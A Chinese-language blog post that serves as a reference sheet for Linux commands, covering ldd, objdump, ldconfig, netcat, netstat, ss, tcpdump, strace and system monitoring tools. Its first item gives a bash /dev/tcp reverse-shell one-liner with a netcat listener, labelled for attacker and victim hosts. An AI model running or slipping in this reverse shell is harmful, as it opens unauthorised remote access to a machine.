Linux开发相关命令整理

1. 反转shell

img

攻击者主机执行:nc -nlvp <port>

被攻击者执行:bash -i >& /dev/tcp/<ip>/<port> 0>&1

也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便

2. ldd

用于查看可执行文件或共享库文件所依赖的动态链接库的工具。

img

3. objdump

用于反汇编可执行文件、目标文件和共享库文件的工具。使用 objdump 命令可以对二进制文件进行静态分析,以查看其包含的指令集、符号表、节(section)和其他调试信息。

基本语法

objdump <options> <file>

一些常用的 objdump 选项:

-d:反汇编代码段,显示二进制文件的指令集。
-t:显示符号表,包括全局符号和局部符号。
-h:显示节(section)表,包括各个节的名称、地址和大小等信息。
-x:显示附加信息,如文件头和段头的详细信息。
-S:在反汇编代码中同时显示源代码。

4. ldconfig

用于更新系统动态链接器的缓存。在 Linux 系统中,动态链接器负责在程序运行时将可执行文件或共享库文件与其所依赖的动态链接库进行链接。ldconfig 命令用于更新系统中已安装的动态链接库的缓存,以便动态链接器能够正确找到和加载这些库。当你安装新的共享库文件或将共享库文件移动到不同的位置时,你可能需要运行 ldconfig 命令来更新系统的动态链接器缓存。这样做可以确保动态链接器能够正确地找到并加载这些库文件。

运行sudo ldconfig命令来执行 ldconfig,执行命令后,ldconfig 将扫描默认的共享库路径(通常是 /lib 和 /usr/lib)以及其他配置的路径,并更新动态链接器的缓存。这样,动态链接器在运行程序时就能正确地解析和加载所需的共享库文件。

需要注意的是,在大多数情况下,你不需要手动运行 ldconfig。通常,当你使用包管理器安装或卸载共享库文件时,包管理器会自动执行 ldconfig 来更新缓存。只有在特定情况下,例如手动安装共享库文件或手动移动共享库文件时,才需要手动运行 ldconfig。

总而言之,ldconfig 是一个用于更新系统动态链接器缓存的命令。它可以确保动态链接器能够正确找到和加载共享库文件。

5. telnet

用于在命令行界面中访问远程主机的命令行工具。使用 telnet 命令telnet <host> <port>,你可以指定远程主机的地址和端口,并建立与该主机的 Telnet 连接。由于 Telnet 是以明文方式传输数据,连接信息和数据在网络上是不加密的。因此,Telnet 不适合在不受信任的网络中使用,因为它可能会暴露敏感信息。

6. nc

nc(也称为 netcat)是一个网络工具,可以在命令行中创建 TCP 或 UDP 连接,进行网络通信。它提供了一个简单而强大的界面,可以用于发送和接收数据,执行端口扫描,以及在不同主机之间传输文件。
以下是一些常用的 nc 选项:

  • -l:在监听模式下运行 nc,等待传入连接。
  • -p :指定本地端口号。
  • -u:使用 UDP 协议进行连接。
  • -v:显示详细的调试信息。
  • -n:禁用主机名解析。

7. netstat

显示和管理网络连接、网络接口以及网络协议统计信息。
以下是一些常用的 netstat 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。

8. ss

用于显示和管理套接字(sockets)的相关信息,包括网络连接、监听端口、路由表和其他网络统计信息。它是 netstat 命令的替代品。

以下是一些常用的 ss 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。
  • -l:仅显示监听状态的套接字。

9. tcpdump

命令行网络抓包工具,用于捕获和分析网络数据包。它可以在实时中捕获数据包,并提供灵活的过滤和显示选项,用于监视和分析网络流量。

tcpdump 命令的基本语法如下:

tcpdump [options] [expression]

以下是一些常用的 tcpdump 选项:

  • -i :指定要抓包的网络接口。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -c :仅抓取指定数量的数据包后停止。
  • -s :设置要捕获的数据包的最大长度。
  • -w :将抓取的数据包写入指定的文件中,而不进行实时显示。
  • -r :从指定文件中读取数据包,而不进行实时抓包。

除了选项,你还可以使用表达式来过滤要抓取的数据包。表达式可以基于源地址、目标地址、端口号、协议类型等进行过滤。

以下是一些常用的表达式示例:

  • host :过滤特定主机的数据包,可以是 IP 地址或主机名。
  • src :过滤源地址为指定主机的数据包。
  • dst :过滤目标地址为指定主机的数据包。
  • port :过滤指定端口号的数据包。
  • src port :过滤源端口号为指定端口的数据包。
  • dst port :过滤目标端口号为指定端口的数据包。
  • tcp:过滤 TCP 协议的数据包。
  • udp:过滤 UDP 协议的数据包。
  • icmp:过滤 ICMP 协议的数据包。
  • ether
    :过滤以太网地址(MAC 地址)为指定地址的数据包。
  • net :过滤特定网络的数据包,可以是 IP 网络地址。
  • src net :过滤源地址属于指定网络的数据包。
  • dst net :过滤目标地址属于指定网络的数据包。
  • greater :过滤数据包长度大于指定值的数据包。
  • less :过滤数据包长度小于指定值的数据包。

这些表达式可以单独使用,也可以组合使用以创建更复杂的过滤条件。

例如,要在名为 eth0 的网络接口上捕获所有 TCP 协议的数据包,并以实时方式显示它们的内容,可以运行以下命令:

tcpdump -i eth0 tcp

10. lsof

用于列出打开文件和网络连接的命令行工具。它可以显示当前系统上所有打开的文件、目录和网络连接的相关信息,包括进程ID、文件描述符、文件类型、访问模式、文件路径、网络端口等。

lsof命令格式如下

lsof [options]

以下是一些常用的 lsof 选项:

  • -i:显示与网络相关的信息,包括网络连接和打开的端口。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p :显示指定进程ID(PID)相关的打开文件和网络连接。
  • -u :显示指定用户名相关的打开文件和网络连接。
  • -c :显示指定命令相关的打开文件和网络连接。

11. strace

用于跟踪和调试 Linux 程序执行过程的命令行工具。它可以捕获和显示程序与操作系统之间的系统调用和信号交互,帮助开发人员和系统管理员分析程序的行为、调试问题和性能优化。

strace 命令的基本语法如下:

strace [options] <command>

你需要将要跟踪的命令放在 strace 命令后面,然后 strace 将捕获该命令执行过程中的系统调用和信号。
以下是一些常用的 strace 选项:

  • -o :将跟踪结果写入指定的文件。
  • -p :跟踪指定的进程ID。
  • -s :设置输出字符串的最大长度。
  • -e :指定要跟踪的系统调用。
  • -c:以摘要统计的形式显示系统调用的执行次数和耗时。
  • -f:跟踪由目标进程创建的子进程。

12. vmstat

用于报告虚拟内存统计信息的命令行工具。它可以提供有关系统内存、进程、CPU、磁盘和交换空间等方面的统计数据,帮助你监视系统的性能和资源使用情况。

vmstat 命令的基本语法如下:

vmstat [options] [delay [count]]

你可以选择性地指定一些选项,以及可选的延迟时间和计数次数。vmstat 将在指定的延迟时间间隔内收集统计数据,并在屏幕上显示或输出到文件中。

以下是一些常用的 vmstat 选项:

  • -a:显示所有的虚拟内存统计信息。
  • -f:显示运行以来的 fork 操作次数。
  • -s:显示更详细的内存和系统统计信息。
  • -n:使用数字格式显示统计数据,而不是使用可读性更高的文本格式。
  • -w:将输出宽度扩展到适应长的统计项名称。

例如,要每秒显示一次虚拟内存统计信息,可以运行以下命令:

vmstat 1

vmstat 命令将每秒收集一次统计数据,并将其输出显示在命令行界面上。

vmstat 的输出包含许多信息,包括但不限于以下内容:

  • procs:进程相关的统计信息,如运行队列长度、上下文切换次数等。
  • memory:内存相关的统计信息,如空闲内存、缓冲区和缓存使用情况等。
  • swap:交换空间相关的统计信息,如交换分区使用情况、交换活动等。
  • io:磁盘I/O相关的统计信息,如块设备的读写操作次数、请求队列长度等。
  • system:系统全局的统计信息,如中断次数、上下文切换次数等。
  • cpu:CPU使用率和上下文切换相关的统计信息。

13. ifstat

用于监视网络接口流量的命令行工具。它可以提供关于网络接口的实时统计信息,包括传输速率、数据包计数、错误计数等,帮助你监控网络的使用情况和性能状况。

ifstat 命令的基本语法如下:

ifstat [options] [interval [count]]

你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。ifstat 将在指定的时间间隔内收集网络接口的统计数据,并在屏幕上实时显示或输出到文件中。

以下是一些常用的 ifstat 选项:

  • -i :指定要监视的网络接口。如果不指定接口,默认会监视所有活动接口。
  • -n:使用数字格式显示统计数据,而不是使用可读性更高的单位格式。
  • -t:显示时间戳,以指示每个统计间隔的开始时间。
    例如,要每秒显示一次所有活动网络接口的统计信息,可以运行以下命令:
ifstat 1

ifstat 命令将每秒收集一次网络接口的统计数据,并将其实时输出显示在命令行界面上。

ifstat 的输出包含以下信息:

  • 接口名称:监视的网络接口的名称。
  • 接收:接收流量的统计信息,包括传输速率、数据包计数、错误计数等。
  • 发送:发送流量的统计信息,包括传输速率、数据包计数、错误计数等。
  • 总计:接收和发送流量的总计信息,包括传输速率、数据包计数、错误计数等。

14. mpstat

用于报告多处理器系统上的 CPU 使用情况的命令行工具。它可以提供有关每个 CPU 核心的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。

mpstat 命令的基本语法如下:

mpstat [options] [interval [count]]

你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。mpstat 将在指定的时间间隔内收集 CPU 使用情况的统计数据,并在屏幕上显示或输出到文件中。

以下是一些常用的 mpstat 选项:

  • -P :指定要监视的特定 CPU 核心。如果不指定核心编号,默认会监视所有核心。
  • -u:显示 CPU 使用率的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。
  • -I :指定要显示的特定字段,如 CPU 上下文切换次数、中断次数等。
  • -t:显示时间戳,以指示每个统计间隔的开始时间。
    例如,要每秒显示一次所有 CPU 核心的使用率,可以运行以下命令:
mpstat -P ALL 1

mpstat 命令将每秒收集一次 CPU 使用情况的统计数据,并将其输出显示在命令行界面上。

mpstat 的输出包含以下信息:

  • CPU 核心编号:监视的 CPU 核心的编号。
  • usr:用户空间程序的 CPU 使用率。
  • sys:内核空间程序的 CPU 使用率。
  • iowait:等待 I/O 完成的 CPU 使用率。
  • idle:CPU 空闲时间的百分比。
  • irq:处理硬件中断的 CPU 使用率。
  • soft:处理软件中断的 CPU 使用率。
  • steal:当系统运行在虚拟化环境中时,被其他虚拟机偷取的 CPU 时间的百分比。
posted @ 2024-01-22 19:45  EricLing0529  阅读(23)  评论(1编辑  收藏  举报